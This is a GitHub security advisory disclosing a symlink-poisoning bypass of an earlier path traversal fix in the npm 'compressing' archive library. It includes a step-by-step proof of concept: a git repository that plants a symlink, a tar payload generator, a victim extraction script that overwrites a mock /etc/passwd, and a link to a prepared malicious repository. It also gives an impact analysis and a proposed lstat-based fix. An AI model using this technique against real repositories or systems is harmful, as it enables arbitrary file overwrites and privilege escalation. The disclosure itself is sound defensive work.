Skip to content

Complete Bypass of CVE-2026-24884 Patch via Git-Delivered Symlink Poisoning in compressing

High severity GitHub Reviewed Published Apr 13, 2026 in node-modules/compressing • Updated Apr 24, 2026

Package

npm compressing (npm)

Affected versions

>= 2.0.0, <= 2.1.0
<= 1.10.4

Patched versions

2.1.1
1.10.5

Description

1. Executive Summary
This report documents a critical security research finding in the compressing npm package (specifically tested on the latest v2.1.0). The core vulnerability is a Partial Fix Bypass of CVE-2026-24884.

The current patch relies on a purely logical string validation within the isPathWithinParent utility. This check verifies if a resolved path string starts with the destination directory string but fails to account for the actual filesystem state. By exploiting this "Logical vs. Physical" divergence, we successfully bypassed the security check using a Directory Poisoning technique (pre-existing symbolic links).

Key Findings:

  • Vulnerable Component: lib/utils.js -> isPathWithinParent()
  • Flaw Type: Incomplete validation (lack of recursive lstat checks).
  • Primary Attack Vector: Supply Chain via Git Clone The attack requires zero victim interaction beyond standard developer workflow (git clone + node app.js). Git natively preserves symlinks during clone, automatically deploying the malicious symlink to victim's machine without any additional attacker access.
  • Result: Successfully achieved arbitrary file writes outside the intended extraction root on the latest library version.

2. Deep-Dive: Technical Root Cause Analysis
The vulnerability exists because of a fundamental disconnect between how the library validates a path and how the Operating System executes a write to that path.

  • 1. Logical Abstraction (The "String" World)
    The developer uses path.resolve(childPath) to sanitize input. In Node.js, path.resolve is a literal string manipulator. It calculates an absolute path by processing .. and . segments relative to each other.

  • The Limitation: path.resolve does NOT look at the disk. It does not know if a folder named config is a real folder or a symbolic link.

  • The Result: If the extraction target is /app/out and the entry is config/passwd, path.resolve returns /app/out/config/passwd. Since this string starts with /app/out/, the security check returns TRUE.

  • 2. Physical Reality (The "Filesystem" World)
    When the library proceeds to write the file using fs.writeFile('/app/out/config/passwd', data), the execution is handed over to the Operating System's filesystem kernel.

  • The Redirection: If the attacker has pre-created a symbolic link on the disk at /app/out/config pointing to /etc, the OS kernel sees the write request and follows the link.

  • The Divergence: The OS resolves the path to /etc/passwd. The "Security Guard" (the library) thought it was writing to a local config folder, but the "Executioner" (the OS) followed the link into a sensitive system area.

  • 3. Visual Logic Flow

Malicious Archive Exploit-2026-04-12-135626

  • 4. Comparison with Industry Standards (node-tar)
    A secure implementation (like node-tar) uses an "Atomic Check" strategy. Instead of trusting a string path, it iterates through every directory segment and calls fs.lstatSync(). If any segment is found to be a symbolic link, the extraction is halted immediately before any write operation is attempted. compressing lacks this critical recursive verification step.

  • 5. Git Clone as a Delivery Mechanism: Git treats symlinks as first-class objects and restores them faithfully during clone. This means an attacker-controlled repository becomes a reliable delivery mechanism — the symlink is "pre-planted" automatically by git itself, removing any prerequisite of prior system access.

3. Comprehensive Attack Vector & Proof of Concept

PoC Overview: The Git Clone Vector This exploit leverages the fact that Git natively preserves symbolic links. By cloning a malicious repository, a victim unknowingly plants a "poisoned path" on their local disk. Why this is critical:

  • No social engineering required beyond a standard git clone.
  • The symlink is "pre-planted" by Git itself, removing the need for prior system access.
  • Victim's workflow remains indistinguishable from legitimate activity.

Step 1: Environment Preparation (Victim System)

TIP
Prerequisite: Ensure you have Node.js and npm installed on your Kali Linux. If you encounter a MODULE_NOT_FOUND error for tar-stream or compressing, run: npm install compressing@2.1.0 tar-stream` in your current working directory.

Create a mock sensitive file to demonstrate the overwrite without damaging the actual OS.

# Workspace setup
mkdir -p ~/poc-workspace
cd ~/poc-workspace

# 1. Create a fake sensitive file
mkdir -p /tmp/fake_root/etc
echo "root:SAFE_DATA_DO_NOT_OVERWRITE" > /tmp/fake_root/etc/passwd

# 2. Install latest vulnerable library
npm install compressing@2.1.0 tar-stream

Step 2: Attacker Side (Repo & Payload)

2.1 Create the poisoned GitHub Repository

  1. Create a repo named compressing_poc_test on GitHub.
  2. On your local machine, setup the malicious content:
mkdir compressing_poc_test
cd compressing_poc_test
git init
# CREATE THE TRAP: A symlink pointing to the sensitive target
ln -s /tmp/fake_root/etc/passwd config_file
# Setup Git
git branch -M main
git remote add origin https://github.com/USERNAME/compressing_poc_test.git

2.2 Generate the Malicious Payload
Create a script gen_payload.js inside the parent folder (~/poc-workspace) to generate the exploit file:

const tar = require('tar-stream');
const fs = require('fs');
const pack = tar.pack();
// PAYLOAD: A plain file that matches the symlink name
pack.entry({ name: 'config_file' }, 'root:PWNED_BY_THE_SUPPLY_CHAIN_ATTACK_V2.1.0\n');
pack.finalize();
pack.pipe(fs.createWriteStream('./payload.tar'));
console.log('payload.tar generated successfully!');

Run the script to create the payload:

node gen_payload.js

This will create a payload.tar file in your current directory.

2.3 Push Bait & Payload to GitHub
Now, move the generated payload into your repo folder and push everything to GitHub:

# Move the payload into the repo folder
mv ../payload.tar .
# Add all files (config_file symlink and payload.tar)
git add .
git commit -m "Add project updates and resource assets"
git push -u origin main

For your convenience and easy reproduction, I have already created a malicious repository to simulate the attacker's setup. You can clone it directly without needing to create a new one: https://github.com/sachinpatilpsp/compressing_poc_test.git

Step 3: Victim Side (The Compromise)
The victim clones the repo and runs an application that extracts the included payload.tar.

# 1. Simulate a developer cloning the repo
cd ~/poc-workspace

# In a real attack, the victim clones from your GitHub URL
git clone https://github.com/USERNAME/compressing_poc_test.git victim_app
cd victim_app

# 2. Create the Trigger script (victim_app.js)

cat <<EOF > victim_app.js
const compressing = require('compressing');
async function extractUpdate() {
    console.log('--- Victim: Extracting Update Package ---');
    try {
        // This triggers the bypass because 'config_file' already exists as a symlink
        await compressing.tar.uncompress('./payload.tar', './');
        console.log('[+] Update Successful!');
    } catch (err) {
        console.error('[-] Error:', err);
    }
}
extractUpdate();
EOF

# 3. VERIFY THE OVERWRITE
echo "--- Before Exploit ---"
cat /tmp/fake_root/etc/passwd

# 4. Run the victim_app.js
node victim_app.js

# 5. After Exploit Run
echo "--- After Exploit ---"
cat /tmp/fake_root/etc/passwd

Why this bypass works

  • The Library's Logic: compressing uses path.resolve on entry names and compares them string-wise with the destination directory.
  • The Gap: Because path.resolve does not check if intermediate directories are symlinks on disk, it treats config_file (the symlink) as a normal path inside the allowed directory.
  • The Result: The underlying fs.writeFile follows the existing symlink to the protected target (/tmp/fake_root/etc/passwd), bypassing all string-based security checks.

01_malicious_symlink_proof

02_malicious_payload_content

03_vulnerable_version_proof

04_exploit_success_verification

4. Impact Assessment

What kind of vulnerability is it?
This is an Arbitrary File Overwrite vulnerability caused by a Symlink Path Traversal bypass. Specifically, it is a "Partial Fix" bypass where a security patch meant to prevent directory traversal only validates path strings but ignores the filesystem state (symlinks).

Who is impacted?
1. Developers & Organizations: Any user of the compressing library (up to v2.1.0) who extracts untrusted archives into a working directory.

2. Supply Chain via Git Clone (Primary Vector): Git natively restores symlinks during git clone. An attacker who controls or compromises any upstream repository can embed malicious symlinks. The victim's only required action is standard developer workflow clone and run. No social engineering or extra steps needed beyond trusting a repository.

3. Privileged Environments: Systems where the extraction process runs as a high-privilege user (root/admin), as it allows for the overwriting of sensitive system files like /etc/passwd or /etc/shadow.

Impact Details

  • Privilege Escalation: Gaining root access by overwriting system configuration files.
  • Remote Code Execution (RCE): Overwriting executable binaries or startup scripts (.bashrc, .profile) to run malicious code upon the next boot or login.
  • Data Corruption: Permanent loss or modification of application data and database files.
  • Reputational Damage to Library: Loss of trust in the compressing library's security architecture due to an incomplete patch for a known CVE.

5. Technical Remediation & Proposed Fix
To completely fix this vulnerability, the library must transition from String-based validation to State-aware validation.

1. The Vulnerable Code (Current Incomplete Patch)
The current logic in lib/utils.js only checks the path string:

// [VULNERABLE] Does not check if disk segments are symlinks
function isPathWithinParent(childPath, parentPath) {
  const normalizedChild = path.resolve(childPath);
  const normalizedParent = path.resolve(parentPath);
  // ... (omitted startsWith check)
  return normalizedChild.startsWith(parentWithSep);
}

2. The Proposed Fix (Complete Mitigation)
The library must recursively check every component of the path on the disk using fs.lstatSync to ensure no component is a symbolic link that redirects to a location outside the root.

const fs = require('fs');
const path = require('path');
/**
 * SECURE VALIDATION: Checks every segment of the path on disk
 * to prevent symlink-based directory poisoning.
 */
function secureIsPathWithinParent(childPath, parentPath) {
  const absoluteDest = path.resolve(parentPath);
  const absoluteChild = path.resolve(childPath);
  // Basic string check first
  if (!absoluteChild.startsWith(absoluteDest + path.sep) && 
      absoluteChild !== absoluteDest) {
    return false;
  }
  // RECURSIVE DISK CHECK
  // Iteratively check every directory segment from the root to the file
  let currentPath = absoluteDest;
  const relativeParts = path.relative(absoluteDest, absoluteChild).split(path.sep);
  for (const part of relativeParts) {
    if (!part || part === '.') continue;
    currentPath = path.join(currentPath, part);
    try {
      const stats = fs.lstatSync(currentPath);
      // IF ANY COMPONENT IS A SYMLINK, REJECT IT
      if (stats.isSymbolicLink()) {
        throw new Error(`Security Exception: Symlink detected at ${currentPath}`);
      }
    } catch (err) {
      if (err.code === 'ENOENT') break; // Path doesn't exist yet, which is fine
      throw err;
    }
  }
  return true;
}

3. Why and How it works:

  • Filesystem Awareness: Unlike the previous fix, this code uses fs.lstatSync. It doesn't trust the string; it asks the Operating System, "What is actually at this location?".
  • Segmented Verification: By splitting the path and checking each part (config, then config/file), it catches the "Poisoned Directory" (config -> /etc) before the final write happens.
  • Bypass Prevention: Even if the string check passes, the loop will detect the symlink at the config segment and throw a security exception, stopping the fs.writeFile before it can follow the link to /etc/passwd.
  • Atomic Security: This implementation ensures that the logical path and the physical path are identical, leaving no room for "Divergence" exploits.

Note: For production, it is recommended to use the asynchronous fs.promises.lstat to prevent blocking the Node.js event loop during recursive checks.

References

@fengmk2 fengmk2 published to node-modules/compressing Apr 13, 2026
Published to the GitHub Advisory Database Apr 17, 2026
Reviewed Apr 17, 2026
Published by the National Vulnerability Database Apr 21, 2026
Last updated Apr 24, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(4th percentile)

Weaknesses

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

CVE ID

CVE-2026-40931

GHSA ID

GHSA-4c3q-x735-j3r5

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.